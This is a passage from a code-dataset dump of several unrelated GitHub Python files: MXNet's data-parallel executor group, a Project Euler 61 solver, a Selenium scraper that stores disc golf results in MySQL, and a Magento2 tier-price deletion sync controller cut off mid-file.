workload to be assigned\n        to different context. Larger number indicate heavier workload.\n    data_shapes : list\n        Should be a list of (name, shape) tuples, for the shapes of data. Note the order is\n        important and should be the same as the order that the `DataIter` provide the data.\n    label_shapes : list\n        Should be a list of (name, shape) tuples, for the shapes of label. Note the order is\n        important and should be the same as the order that the `DataIter` provide the label.\n    param_names : list\n        A list of strings, indicating the names of parameters (e.g. weights, filters, etc.)\n        in the computation graph.\n    for_training : bool\n        Indicate whether the executors should be bind for training. When not doing training,\n        the memory for gradients will not be allocated.\n    inputs_need_grad : bool\n        Indicate whether the gradients for the input data should be computed. This is currently\n        not used. It will be useful for implementing composition of modules.\n    shared_group : DataParallelExecutorGroup\n        Defaults to ``None``. This is used in bucketing. When not ``None``, it should be a executor\n        group corresponding to a different bucket. In other words, it will correspond to a different\n        symbol with the same set of parameters (e.g. unrolled RNNs with different lengths).\n        In this case the memory regions of the parameters will be shared.\n    logger : Logger\n        Default is `logging`.\n    fixed_param_names: list of str\n        Parameters to be fixed during training. For these parameters, not gradients\n        will be calculated and thus no space will be allocated for the gradient.\n    grad_req : str, list of str, dict of str to str\n        Requirement for gradient accumulation. Can be 'write', 'add', or 'null'\n        (default to 'write').\n        Can be specified globally (str) or for each argument (list, dict).\n    group2ctxs : list of dict of str to context\n        Default is `None`. Mapping the `ctx_group` attribute to the context assignment.\n    \"\"\"\n    def __init__(self, symbol, contexts, workload, data_shapes, label_shapes, param_names,\n                 for_training, inputs_need_grad, shared_group=None, logger=logging,\n                 fixed_param_names=None, grad_req='write', state_names=None, group2ctxs=None):\n        self.param_names = param_names\n        self.arg_names = symbol.list_arguments()\n        self.aux_names = symbol.list_auxiliary_states()\n\n        self.symbol = symbol\n        self.contexts = contexts\n        self.workload = workload\n        if group2ctxs is None:\n            group2ctxs = [None] * len(self.contexts)\n        assert len(group2ctxs) == len(self.contexts)\n        self.group2ctxs = group2ctxs\n\n        self.for_training = for_training\n        self.inputs_need_grad = inputs_need_grad\n\n        self.logger = logger\n        #In the future we should have a better way to profile memory per device (haibin)\n        self._total_exec_bytes = 0\n        self.fixed_param_names = fixed_param_names\n        if self.fixed_param_names is None:\n            self.fixed_param_names = []\n\n        self.state_names = state_names\n        if self.state_names is None:\n            self.state_names = []\n\n        if not for_training:\n            grad_req = 'null'\n\n        data_shapes = [x if isinstance(x, DataDesc) else DataDesc(*x) for x in data_shapes]\n        if label_shapes is not None:\n            label_shapes = [x if isinstance(x, DataDesc) else DataDesc(*x) for x in label_shapes]\n\n        data_names = [x.name for x in data_shapes]\n\n        if isinstance(grad_req, str):\n            self.grad_req = {}\n            for k in self.arg_names:\n                if k in self.param_names:\n                    self.grad_req[k] = 'null' if k in self.fixed_param_names else grad_req\n                elif k in data_names:\n                    self.grad_req[k] = grad_req if self.inputs_need_grad else 'null'\n                else:\n                    self.grad_req[k] = 'null'\n        elif isinstance(grad_req, (list, tuple)):\n            assert len(grad_req) == len(self.arg_names)\n            self.grad_req = dict(zip(self.arg_names, grad_req))\n        elif isinstance(grad_req, dict):\n            self.grad_req = {}\n            for k in self.arg_names:\n                if k in self.param_names:\n                    self.grad_req[k] = 'null' if k in self.fixed_param_names else 'write'\n                elif k in data_names:\n                    self.grad_req[k] = 'write' if self.inputs_need_grad else 'null'\n                else:\n                    self.grad_req[k] = 'null'\n            self.grad_req.update(grad_req)\n        else:\n            raise ValueError(\"grad_req must be one of str, list, tuple, or dict.\")\n\n        if shared_group is not None:\n            self.shared_data_arrays = shared_group.shared_data_arrays\n        else:\n            self.shared_data_arrays = [{} for _ in contexts]\n\n        # initialize some instance variables\n        self.batch_size = None\n        self.slices = None\n        self.execs = []\n        self._default_execs = None\n        self.data_arrays = None\n        self.label_arrays = None\n        self.param_arrays = None\n        self.state_arrays = None\n        self.grad_arrays = None\n        self.aux_arrays = None\n        self.input_grad_arrays = None\n\n        self.data_shapes = None\n        self.label_shapes = None\n        self.data_names = None\n        self.label_names = None\n        self.data_layouts = None\n        self.label_layouts = None\n        self.output_names = self.symbol.list_outputs()\n        self.output_layouts = [DataDesc.get_batch_axis(self.symbol[name].attr('__layout__'))\n                               for name in self.output_names]\n        self.num_outputs = len(self.symbol.list_outputs())\n\n        self.bind_exec(data_shapes, label_shapes, shared_group)\n\n    def decide_slices(self, data_shapes):\n        \"\"\"Decide the slices for each context according to the workload.\n\n        Parameters\n        ----------\n        data_shapes : list\n            list of (name, shape) specifying the shapes for the input data or label.\n        \"\"\"\n        assert len(data_shapes) > 0\n        major_axis = [DataDesc.get_batch_axis(x.layout) for x in data_shapes]\n\n        for (name, shape), axis in zip(data_shapes, major_axis):\n            if axis == -1:\n                continue\n\n            batch_size = shape[axis]\n            if self.batch_size is not None:\n                assert batch_size == self.batch_size, (\"all data must have the same batch size: \"\n                                                       + (\"batch_size = %d, but \" % self.batch_size)\n                                                       + (\"%s has shape %s\" % (name, shape)))\n            else:\n                self.batch_size = batch_size\n                self.slices = _split_input_slice(self.batch_size, self.workload)\n\n        return major_axis\n\n    def _collect_arrays(self):\n        \"\"\"Collect internal arrays from executors.\"\"\"\n        # convenient data structures\n        self.data_arrays = [[(self.slices[i], e.arg_dict[name]) for i, e in enumerate(self.execs)]\n                            for name, _ in self.data_shapes]\n\n        self.state_arrays = [[e.arg_dict[name] for e in self.execs]\n                             for name in self.state_names]\n\n        if self.label_shapes is not None:\n            self.label_arrays = [[(self.slices[i], e.arg_dict[name])\n                                  for i, e in enumerate(self.execs)]\n                                 for name, _ in self.label_shapes]\n        else:\n            self.label_arrays = None\n\n        self.param_arrays = [[exec_.arg_arrays[i] for exec_ in self.execs]\n                             for i, name in enumerate(self.arg_names)\n                             if name in self.param_names]\n        if self.for_training:\n            self.grad_arrays = [[exec_.grad_arrays[i] for exec_ in self.execs]\n                                for i, name in enumerate(self.arg_names)\n                                if name in self.param_names]\n        else:\n            self.grad_arrays = None\n\n        data_names = [x[0] for x in self.data_shapes]\n        if self.inputs_need_grad:\n            self.input_grad_arrays = [[exec_.grad_arrays[self.arg_names.index(name)]\n                                       for exec_ in self.execs]\n                                      for name in data_names if name in self.arg_names]\n        else:\n            self.input_grad_arrays = None\n\n        self.aux_arrays = [[exec_.aux_arrays[i] for exec_ in self.execs]\n                           for i in range(len(self.aux_names))]\n\n    def bind_exec(self, data_shapes, label_shapes, shared_group=None, reshape=False):\n        \"\"\"Bind executors on their respective devices.\n\n        Parameters\n        ----------\n        data_shapes : list\n        label_shapes : list\n        shared_group : DataParallelExecutorGroup\n        reshape : bool\n        \"\"\"\n        assert reshape or not self.execs\n        self.batch_size = None\n\n        # calculate workload and bind executors\n        self.data_layouts = self.decide_slices(data_shapes)\n        if label_shapes is not None:\n            # call it to make sure labels has the same batch size as data\n            self.label_layouts = self.decide_slices(label_shapes)\n\n        for i in range(len(self.contexts)):\n            data_shapes_i = self._sliced_shape(data_shapes, i, self.data_layouts)\n            if label_shapes is not None:\n                label_shapes_i = self._sliced_shape(label_shapes, i, self.label_layouts)\n            else:\n                label_shapes_i = []\n\n            if reshape:\n                self.execs[i] = self._default_execs[i].reshape(\n                    allow_up_sizing=True, **dict(data_shapes_i + label_shapes_i))\n            else:\n                self.execs.append(self._bind_ith_exec(i, data_shapes_i, label_shapes_i,\n                                                      shared_group))\n\n        self.data_shapes = data_shapes\n        self.label_shapes = label_shapes\n        self.data_names = [i.name for i in self.data_shapes]\n        if label_shapes is not None:\n            self.label_names = [i.name for i in self.label_shapes]\n        self._collect_arrays()\n\n    def reshape(self, data_shapes, label_shapes):\n        \"\"\"Reshape executors.\n\n        Parameters\n        ----------\n        data_shapes : list\n        label_shapes : list\n        \"\"\"\n        if data_shapes == self.data_shapes and label_shapes == self.label_shapes:\n            return\n        if self._default_execs is None:\n            self._default_execs = [i for i in self.execs]\n        self.bind_exec(data_shapes, label_shapes, reshape=True)\n\n    def set_params(self, arg_params, aux_params, allow_extra=False):\n        \"\"\"Assign, i.e. copy parameters to all the executors.\n\n        Parameters\n        ----------\n        arg_params : dict\n            A dictionary of name to `NDArray` parameter mapping.\n        aux_params : dict\n            A dictionary of name to `NDArray` auxiliary variable mapping.\n        allow_extra : boolean, optional\n            Whether allow extra parameters that are not needed by symbol.\n            If this is True, no error will be thrown when arg_params or aux_params\n            contain extra parameters that is not needed by the executor.\n        \"\"\"\n        for exec_ in self.execs:\n            exec_.copy_params_from(arg_params, aux_params, allow_extra_params=allow_extra)\n\n    def get_params(self, arg_params, aux_params):\n        \"\"\" Copy data from each executor to `arg_params` and `aux_params`.\n\n        Parameters\n        ----------\n        arg_params : list of NDArray\n            Target parameter arrays.\n        aux_params : list of NDArray\n            Target aux arrays.\n\n        Notes\n        -----\n        - This function will inplace update the NDArrays in arg_params and aux_params.\n        \"\"\"\n        for name, block in zip(self.param_names, self.param_arrays):\n            weight = sum(w.copyto(ctx.cpu()) for w in block) / len(block)\n            weight.astype(arg_params[name].dtype).copyto(arg_params[name])\n        for name, block in zip(self.aux_names, self.aux_arrays):\n            weight = sum(w.copyto(ctx.cpu()) for w in block) / len(block)\n            weight.astype(aux_params[name].dtype).copyto(aux_params[name])\n\n    def forward(self, data_batch, is_train=None):\n        \"\"\"Split `data_batch` according to workload and run forward on each devices.\n\n        Parameters\n        ----------\n        data_batch : DataBatch\n            Or could be any object implementing similar interface.\n        is_train : bool\n            The hint for the backend, indicating whether we are during training phase.\n            Default is `None`, then the value `self.for_training` will be used.\n        Returns\n        -------\n\n        \"\"\"\n        _load_data(data_batch, self.data_arrays, self.data_layouts)\n        if is_train is None:\n            is_train = self.for_training\n\n        if self.label_arrays is not None and data_batch.label:\n            _load_label(data_batch, self.label_arrays, self.label_layouts)\n\n        for exec_ in self.execs:\n            exec_.forward(is_train=is_train)\n\n    def get_output_shapes(self):\n        \"\"\"Get the shapes of the outputs.\"\"\"\n        outputs = self.execs[0].outputs\n        shapes = [out.shape for out in outputs]\n\n        concat_shapes = []\n        for key, the_shape, axis in zip(self.symbol.list_outputs(), shapes, self.output_layouts):\n            the_shape = list(the_shape)\n            if axis >= 0:\n                the_shape[axis] = self.batch_size\n            concat_shapes.append((key, tuple(the_shape)))\n        return concat_shapes\n\n    def get_outputs(self, merge_multi_context=True, begin=0, end=None):\n        \"\"\"Get outputs of the previous forward computation.\n        If begin or end is specified, return [begin, end)-th outputs,\n        otherwise return all outputs.\n\n        Parameters\n        ----------\n        merge_multi_context : bool\n            Default is `True`. In the case when data-parallelism is used, the outputs\n            will be collected from multiple devices. A `True` value indicate that we\n            should merge the collected results so that they look like from a single\n            executor.\n        begin : int\n            starting index of returned outputs in all outputs\n        end : int or None\n            ending index (excluded) of returned outputs.\n\n        Returns\n        -------\n        If `merge_multi_context` is ``True``, it is like ``[out1, out2]``. Otherwise, it\n        is like ``[[out1_dev1, out1_dev2], [out2_dev1, out2_dev2]]``. All the output\n        elements are `NDArray`.\n        \"\"\"\n        if end is None:\n            end = self.num_outputs\n        outputs = [[exec_.outputs[i] for exec_ in self.execs]\n                   for i in range(begin, end)]\n        if merge_multi_context:\n            outputs = _merge_multi_context(outputs, self.output_layouts)\n        return outputs\n\n    def get_states(self, merge_multi_context=True):\n        \"\"\"Get states from all devices.\n\n        Parameters\n        ----------\n        merge_multi_context : bool\n            Default is ``True``. In the case when data-parallelism is used, the states\n            will be collected from multiple devices. A ``True`` value indicate that we\n            should merge the collected results so that they look like from a single\n            executor.\n\n        Returns\n        -------\n        If `merge_multi_context` is ``True``, it is like ``[out1, out2]``. Otherwise, it\n        is like ``[[out1_dev1, out1_dev2], [out2_dev1, out2_dev2]]``. All the output\n        elements are `NDArray`.\n        \"\"\"\n        assert not merge_multi_context, \\\n            \"merge_multi_context=True is not supported for get_states yet.\"\n        return self.state_arrays\n\n    def set_states(self, states=None, value=None):\n        \"\"\"Set value for states. Only one of states & value can be specified.\n\n        Parameters\n        ----------\n        states : list of list of NDArrays\n            source states arrays formatted like [[state1_dev1, state1_dev2],\n            [state2_dev1, state2_dev2]].\n        value : number\n            a single scalar value for all state arrays.\n        \"\"\"\n        if states is not None:\n            assert value is None, \"Only one of states & value can be specified.\"\n            _load_general(states, self.state_arrays, (0,)*len(states))\n        else:\n            assert value is not None, \"At least one of states & value must be specified.\"\n            assert states is None, \"Only one of states & value can be specified.\"\n            for d_dst in self.state_arrays:\n                for dst in d_dst:\n                    dst[:] = value\n\n    def get_input_grads(self, merge_multi_context=True):\n        \"\"\"Get the gradients with respect to the inputs of the module.\n\n        Parameters\n        ----------\n        merge_multi_context : bool\n            Defaults to ``True``. In the case when data-parallelism is used, the outputs\n            will be collected from multiple devices. A `True` value indicate that we\n            should merge the collected results so that they look like from a single\n            executor.\n\n        Returns\n        -------\n        If `merge_multi_context` is ``True``, it is like ``[grad1, grad2]``. Otherwise, it\n        is like ``[[grad1_dev1, grad1_dev2], [grad2_dev1, grad2_dev2]]``. All the output\n        elements are `NDArray`.\n        \"\"\"\n        assert self.inputs_need_grad\n        if merge_multi_context:\n            return _merge_multi_context(self.input_grad_arrays, self.data_layouts)\n        return self.input_grad_arrays\n\n    def backward(self, out_grads=None):\n        \"\"\"Run backward on all devices. A backward should be called after\n        a call to the forward function. Backward cannot be called unless\n        ``self.for_training`` is ``True``.\n\n        Parameters\n        ----------\n        out_grads : NDArray or list of NDArray, optional\n            Gradient on the outputs to be propagated back.\n            This parameter is only needed when bind is called\n            on outputs that are not a loss function.\n        \"\"\"\n        assert self.for_training, 're-bind with for_training=True to run backward'\n        if out_grads is None:\n            out_grads = []\n\n        for i, (exec_, islice) in enumerate(zip(self.execs, self.slices)):\n            out_grads_slice = []\n            for grad, axis in zip(out_grads, self.output_layouts):\n                if axis >= 0:\n                    # pylint: disable=no-member\n                    og_my_slice = nd.slice_axis(grad, axis=axis, begin=islice.start,\n                                                end=islice.stop)\n                    # pylint: enable=no-member\n                    out_grads_slice.append(og_my_slice.as_in_context(self.contexts[i]))\n                else:\n                    out_grads_slice.append(grad.copyto(self.contexts[i]))\n            exec_.backward(out_grads=out_grads_slice)\n\n    def update_metric(self, eval_metric, labels):\n        \"\"\"Accumulate the performance according to `eval_metric` on all devices\n        by comparing outputs from [begin, end) to labels. By default use all\n        outputs.\n\n        Parameters\n        ----------\n        eval_metric : EvalMetric\n            The metric used for evaluation.\n        labels : list of NDArray\n            Typically comes from `label` of a `DataBatch`.\n        begin : int\n            Starting index of used outputs.\n        end : int or None\n            Ending index of used outputs.\n        \"\"\"\n        for texec, islice in zip(self.execs, self.slices):\n            labels_slice = []\n            for label, axis in zip(labels, self.label_layouts):\n                if axis == 0:\n                    # slicing NDArray along axis 0 can avoid copying\n                    labels_slice.append(label[islice])\n                elif axis > 0:\n                    # pylint: disable=no-member\n                    label_my_slice = nd.slice_axis(label, axis=axis, begin=islice.start,\n                                                   end=islice.stop).as_in_context(label.context)\n                    # pylint: enable=no-member\n                    labels_slice.append(label_my_slice)\n                else:\n                    labels_slice.append(label)\n\n            labels_ = OrderedDict(zip(self.label_names, labels_slice))\n            preds = OrderedDict(zip(self.output_names, texec.outputs))\n            eval_metric.update_dict(labels_, preds)\n\n    def _bind_ith_exec(self, i, data_shapes, label_shapes, shared_group):\n        \"\"\"Internal utility function to bind the i-th executor.\n        This function utilizes simple_bind python interface.\n        \"\"\"\n        shared_exec = None if shared_group is None else shared_group.execs[i]\n        context = self.contexts[i]\n        shared_data_arrays = self.shared_data_arrays[i]\n\n        input_shapes = dict(data_shapes)\n        if label_shapes is not None:\n            input_shapes.update(dict(label_shapes))\n\n        input_types = {x.name: x.dtype for x in data_shapes}\n        if label_shapes is not None:\n            input_types.update({x.name: x.dtype for x in label_shapes})\n\n        group2ctx = self.group2ctxs[i]\n\n        executor = self.symbol.simple_bind(ctx=context, grad_req=self.grad_req,\n                                           type_dict=input_types, shared_arg_names=self.param_names,\n                                           shared_exec=shared_exec, group2ctx=group2ctx,\n                                           shared_buffer=shared_data_arrays, **input_shapes)\n        self._total_exec_bytes += int(executor.debug_str().split('\\n')[-3].split()[1])\n        return executor\n\n    def _sliced_shape(self, shapes, i, major_axis):\n        \"\"\"Get the sliced shapes for the i-th executor.\n\n        Parameters\n        ----------\n        shapes : list of (str, tuple)\n            The original (name, shape) pairs.\n        i : int\n            Which executor we are dealing with.\n        \"\"\"\n        sliced_shapes = []\n        for desc, axis in zip(shapes, major_axis):\n            shape = list(desc.shape)\n            if axis >= 0:\n                shape[axis] = self.slices[i].stop - self.slices[i].start\n            sliced_shapes.append(DataDesc(desc.name, tuple(shape), desc.dtype, desc.layout))\n        return sliced_shapes\n\n    def install_monitor(self, mon):\n        \"\"\"Install monitor on all executors\"\"\"\n        for exe in self.execs:\n            mon.install(exe)\n","repo_name":"hpi-xnor/BMXNet","sub_path":"python/mxnet/module/executor_group.py","file_name":"executor_group.py","file_ext":"py","file_size_in_byte":26198,"program_lang":"python","lang":"en","doc_type":"code","stars":347,"dataset":"github-code","pt":"37"}
+{"seq_id":"24686367699","text":"\"\"\"\r\nFind the sum of the only ordered set of six cyclic 4-digit numbers for which each polygonal type: \r\ntriangle, square, pentagonal, hexagonal, heptagonal, and octagonal, is represented by a different \r\nnumber in the set.\r\n\"\"\"\r\ndef create_values(fun):\r\n    \"\"\"\r\n    fun: a function.\r\n    Applies the function to ints and returns all of the values of 4 digits\r\n    Returns that list as str\r\n    \"\"\"\r\n    list_ = list(map(fun, range(1, 150)))\r\n    list_ = [n for n in list_ if n < 10000]\r\n    # Convert to string and add leading 0s\r\n    list_ = list(map(str, list_))\r\n    list_ = list(map(str.zfill, list_, [4] * len(list_)))\r\n    return list_\r\n\r\n\r\n\r\ndef get_cycle(before, cycle, after):\r\n    \"\"\"\r\n    before: list of numbers xxab\r\n    cycle: list of numbers abcd\r\n    after: list of numbers cdxx\r\n    Returns list of target values such that abcd are in list cycle\r\n    \"\"\"\r\n    ab = [n % 100 for n in before]\r\n    cd = [n // 100 for n in after]\r\n    cycle = [n for n in cycle if n // 100 in ab and n % 100 in cd]\r\n    return cycle\r\n\r\ndef apply_cycles(vals):\r\n    \"\"\"\r\n    vals: a list of lists of 4 digit chars\r\n    Returns: list after applyting 'get_cycle' to each list\r\n    \"\"\"\r\n    vals_ret = [None] * len(vals)\r\n    for i, list_ in enumerate(vals):\r\n        # Get last digits from current list\r\n        last_digits = list(set([num_str[2:] for num_str in list_]))\r\n        # Apply as filter to next list\r\n        if i == len(vals) - 1 :\r\n            vals_ret[0] = [num_str for num_str in vals[0] if num_str[:2] in last_digits]\r\n        else:\r\n            vals_ret[i + 1] = [num_str for num_str in vals[i + 1] if num_str[:2] in last_digits]\r\n    return vals_ret\r\n    \r\n# Triangle numbers\r\ntri = create_values(lambda n: n * (n + 1 ) // 2)\r\n# Square numbers \r\nsqr = create_values(lambda n: n ** 2)\r\n# Pentagonal numbers\r\npen = create_values(lambda n: n * (3 * n - 1 ) // 2)\r\n# Hexagonal numbers\r\nhex_ = create_values(lambda n: n * (2 * n - 1 ))\r\n# Heptagonal numbers\r\nhep = create_values(lambda n: n * (5 * n - 3 ) // 2)\r\n# Octagonal numbers\r\noct_ = create_values(lambda n: n * (3 * n - 2 ))\r\n\r\nnumbers = [tri, sqr, pen, hex_, hep, oct_]\r\n\r\nnumbers = apply_cycles(numbers)\r\n\r\n# Apply cycles until len = 1\r\nwhile len(numbers[4]) > 1:\r\n    numbers = apply_cycles(numbers)\r\n\r\nfor list_ in numbers:\r\n    print(list_)\r\n\r\n# for list_ in numbers:\r\n#     print(list_)\r\n\r\n# Get possible cycles abcd - cdef - efgh - ghij - ijkl - klab\r\n# such that tri - sqr - pen - hex_ - hep - oct_\r\n\r\n# # Getting front numbers\r\n# ab1 = set(n // 100 for n in tri)\r\n# cd1 = set(n // 100 for n in sqr)\r\n# ef1 = set(n // 100 for n in pen)\r\n# gh1 = set(n // 100 for n in hex_)\r\n# ij1 = set(n // 100 for n in hep)\r\n# kl1 = set(n // 100 for n in oct_)\r\n\r\n# # Getting back numbers\r\n# ab2 = set(n % 100 for n in oct_)\r\n# cd2 = set(n % 100 for n in tri)\r\n# ef2 = set(n % 100 for n in sqr)\r\n# gh2 = set(n % 100 for n in pen)\r\n# ij2 = set(n % 100 for n in hex_)\r\n# kl2 = set(n % 100 for n in hep)\r\n\r\n# # Filtering != 0x\r\n# ab2 = {n for n in ab2 if n > 9}\r\n# cd2 = {n for n in cd2 if n > 9}\r\n# ef2 = {n for n in ef2 if n > 9}\r\n# gh2 = {n for n in gh2 if n > 9}\r\n# ij2 = {n for n in ij2 if n > 9}\r\n# kl2 = {n for n in kl2 if n > 9}\r\n\r\n# # Intersecting\r\n# ab = ab1.intersection(ab2)\r\n# cd = cd1.intersection(cd2)\r\n# ef = ef1.intersection(ef2)\r\n# gh = gh1.intersection(gh2)\r\n# ij = ij1.intersection(ij2)\r\n# kl = kl1.intersection(kl2)\r\n\r\n# # Filtering with abcd\r\n# tri = [n for n in tri  if n // 100 in ab and n % 100 in cd]\r\n# sqr = [n for n in sqr  if n // 100 in cd and n % 100 in ef] \r\n# pen = [n for n in pen  if n // 100 in ef and n % 100 in gh]\r\n# hex_= [n for n in hex_ if n // 100 in gh and n % 100 in ij]\r\n# hep = [n for n in hep  if n // 100 in ij and n % 100 in kl]\r\n# oct_= [n for n in oct_ if n // 100 in kl and n % 100 in ab]\r\n\r\n# # Filtering again\r\n# ab1 = set(n // 100 for n in tri)\r\n# cd1 = set(n // 100 for n in sqr)\r\n# ef1 = set(n // 100 for n in pen)\r\n# gh1 = set(n // 100 for n in hex_)\r\n# ij1 = set(n // 100 for n in hep)\r\n# kl1 = set(n // 100 for n in oct_)\r\n\r\n# ab2 = set(n % 100 for n in oct_)\r\n# cd2 = set(n % 100 for n in tri)\r\n# ef2 = set(n % 100 for n in sqr)\r\n# gh2 = set(n % 100 for n in pen)\r\n# ij2 = set(n % 100 for n in hex_)\r\n# kl2 = set(n % 100 for n in hep)\r\n\r\n# ab = ab1.intersection(ab2)\r\n# cd = cd1.intersection(cd2)\r\n# ef = ef1.intersection(ef2)\r\n# gh = gh1.intersection(gh2)\r\n# ij = ij1.intersection(ij2)\r\n# kl = kl1.intersection(kl2)\r\n\r\n# # Filtering with abcd again\r\n# tri = [n for n in tri  if n // 100 in ab and n % 100 in cd]\r\n# sqr = [n for n in sqr  if n // 100 in cd and n % 100 in ef] \r\n# pen = [n for n in pen  if n // 100 in ef and n % 100 in gh]\r\n# hex_= [n for n in hex_ if n // 100 in gh and n % 100 in ij]\r\n# hep = [n for n in hep  if n // 100 in ij and n % 100 in kl]\r\n# oct_= [n for n in oct_ if n // 100 in kl and n % 100 in ab]","repo_name":"fabrizzio-gz/project-euler","sub_path":"051-075/P61.py","file_name":"P61.py","file_ext":"py","file_size_in_byte":4849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"8751536525","text":"from selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import TimeoutException\n\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nfrom mysql.connector.errors import IntegrityError\n\nclass Scraper:\n  by_aliases = {\n    'id': By.ID,\n    'name': By.NAME,\n    'xpath': By.XPATH,\n    'link_text': By.LINK_TEXT,\n    'partial_link_text': By.PARTIAL_LINK_TEXT,\n    'tag_name': By.TAG_NAME,\n    'class_name': By.CLASS_NAME,\n    'css_selector': By.CSS_SELECTOR\n  }\n\n  def __init__(self, driver, db):\n    print('Initializing scraper')\n    self.driver = driver\n    self.db = db\n    self.cursor = db.cursor()\n\n  def get_url(self, url):\n    self.driver.get(url)\n\n  def wait(self, time):\n    self.driver.implicitly_wait(time)\n\n  def wait_for_element(self, by, identifier):\n    try:\n      element = WebDriverWait(self.driver, 10).until(\n        EC.presence_of_element_located((self.by_aliases[by], identifier))\n      )\n      return element\n    except TimeoutException:\n      print(f'Timeout error: Problem finding element with {by} of \"{identifier}\"')\n      self.quit()\n\n  def get_element(self, by, identifier):\n    try:\n      element = self.driver.find_element(self.by_aliases[by], identifier)\n      return element\n    except KeyError:\n      print('Invalid detection method, please refer to the scraper by_aliases member')\n    except NoSuchElementException:\n      print(f'No element with {by} of \"{identifier}\" found')\n\n  def get_elements(self, by, identifier):\n    try:\n      elements = self.driver.find_elements(self.by_aliases[by], identifier)\n      return elements\n    except KeyError:\n      print('Invalid detection method, please refer to the scraper by_aliases member')\n    except NoSuchElementException:\n      print(f'No elements with {by} of \"{identifier}\" found')\n\n  def quit(self):\n    self.driver.quit()\n\n  def insert_event_result(self, result, pdga_no):\n    sql = 'INSERT INTO event_results (pdga_no, event_id, event_name, event_rating, place, stroke_ct, cash, website, start_dt, end_dt, city, state, country) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)'\n    vals = (\n        pdga_no,\n        result['event_id'],\n        result['event_name'],\n        result['rating'],\n        result['place'],\n        result['stroke_ct'],\n        result['cash'],\n        result['website'],\n        result['start_dt'],\n        result['end_dt'],\n        result['city'],\n        result['state'],\n        result['country']\n    )\n    try:\n      self.cursor.execute(sql, vals)\n      self.db.commit()\n      print(self.cursor.rowcount, 'row(s) inserted into event_results')\n    except IntegrityError:\n      print(result['event_id'],pdga_no,' could not be inserted')\n\n  def insert_round_result(self, result, pdga_no):\n    sql = 'INSERT INTO rounds (pdga_no, event_id, round_no, round_rating, score, par_score, under_par_ct, par_ct, over_par_ct, holes_played, final_round) VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)'\n    vals = (\n        pdga_no,\n        result['event_id'],\n        result['round_number'],\n        result['round_rating'],\n        result['score'],\n        result['par_score'],\n        result['under_par_ct'],\n        result['par_ct'],\n        result['over_par_ct'],\n        result['holes_played'],\n        result['final_round']\n    )\n    try:\n      self.cursor.execute(sql, vals)\n      self.db.commit()\n      print(self.cursor.rowcount, 'row(s) inserted into rounds')\n    except IntegrityError:\n      print(result['event_id'],pdga_no,result['round_number'],' could not be inserted')\n\n  def get_players(self):\n    self.cursor.execute('SELECT pdga_no, statmando_url,f_name,l_name FROM players')\n    players = self.cursor.fetchall()\n    results = []\n    for player in players:\n      results.append((player[0],player[1]))\n    return results","repo_name":"SeanMcClary/CS499","sub_path":"selenium/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":3905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"11583875351","text":"from YBLEGACY import qsatype\nimport requests\nimport json\n\nfrom controllers.base.magento2.tierprice.controllers.tierprice_upload import TierpriceUpload\nfrom controllers.api.magento2.delete_tierprice.serializers.delete_tierprice_serializer import DeleteTierpriceSerializer\n\nclass Mg2DeleteTierPriceUpload(TierpriceUpload):\n\n    error = False\n    _ssw = None\n\n    def __init__(self, params=None):\n        super().__init__(\"mg2deletetierprice\", params)\n\n        delete_tierprice_params = self.get_param_sincro('mg2DeleteTierpricesUpload')\n        self.delete_tierprice_url = delete_tierprice_params['url']\n        self.delete_tierprice_test_url = delete_tierprice_params['test_url']\n\n        self.set_sync_params(self.get_param_sincro('mg2'))\n        self.small_sleep = 1\n\n    def get_data(self):\n        data = self.get_db_data()\n\n        if data == []:\n            return data\n\n        new_delete_tierprice = []\n        idObjeto = None\n        for idx in range(len(data)):\n            price = self.get_delete_tierprice_serializer().serialize(data[idx])\n            new_delete_tierprice.append(price)\n            if not idObjeto:\n                idObjeto = str(data[idx][\"id\"])\n                self._ssw = str(data[idx][\"id\"])\n\n            if str(data[idx][\"id\"]) != idObjeto:\n                idObjeto = str(data[idx][\"id\"])\n                self._ssw += \",\" + str(data[idx][\"id\"])\n\n        if not new_delete_tierprice:\n            return False\n\n        return {\n            \"prices\": new_delete_tierprice\n        }\n\n    def send_data(self, data):\n        delete_tierprice_url = self.delete_tierprice_url if self.driver.in_production else self.delete_tierprice_test_url\n\n        for idx in range(len(data[\"prices\"])):\n            del data[\"prices\"][idx][\"children\"]\n\n        if data:\n            result = True\n            try:\n                print(\"DATA: \", json.dumps(data))\n                print(\"URL: \", delete_tierprice_url.format(\"es\"))\n                result = self.send_request(\"post\", url=delete_tierprice_url.format(\"es\"), data=json.dumps(data))\n                print(\"RESULT: \", str(result))\n            except Exception as e:\n                print(str(e))\n                self.error = True\n\n        return data\n\n    def get_db_data(self):    \n        body = []\n        q = qsatype.FLSqlQuery()\n        q.setSelect(\"id, referencia, talla, pvp, website, codgrupo\")\n        q.setFrom(\"lineassincro_eliminarplanpreciosmagento\")\n        q.setWhere(\"sincronizado = FALSE AND (hasta < CURRENT_DATE OR (hasta = CURRENT_DATE AND horahasta <= CURRENT_TIME)) ORDER BY id LIMIT 1000\")\n        \n        print(\"CONSULTA: \", q.sql())\n\n        q.exec_()\n\n        if not q.size():\n            return body\n\n        body = self.fetch_query(q)\n        self.error = False\n        return body\n\n    def get_delete_tierprice_serializer(self):\n        return DeleteTierpriceSerializer()\n\n    def after_sync(self, response_data=None):\n        print(\"SSW: \", self._ssw)\n        if self.error:\n            self.log(\"Error\", \"No se pudo eliminar las líneas de planificador: {})\".format(self._ssw))\n            return self.small_sleep\n\n        qsatype.FLSqlQuery().execSql(\"UPDATE lineassincro_eliminarplanpreciosmagento SET sincronizado = TRUE WHERE id IN ({})\".format(self._ssw))\n\n        self.log(\"Exito\", \"Lineas de planificador eliminadas correctamente {}\".format(self._ssw))\n\n        return 